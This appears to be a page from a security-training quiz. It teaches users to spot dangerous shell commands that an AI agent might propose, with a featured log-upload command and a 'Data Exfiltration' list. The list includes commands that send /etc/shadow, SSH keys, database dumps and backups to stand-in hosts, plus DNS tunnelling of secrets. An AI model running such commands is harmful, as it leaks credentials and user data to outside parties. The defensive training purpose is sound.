Dangerous
tar -czf - ./logs | curl -s -T - https://files.example.com/upload/app-logs.tgzcross-platform · bash · Expert
The agent offers to send the diagnostic bundle somewhere it can be inspected. Application logs routinely carry tokens, session identifiers…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedmysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpertaws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmarefind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarefor f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmare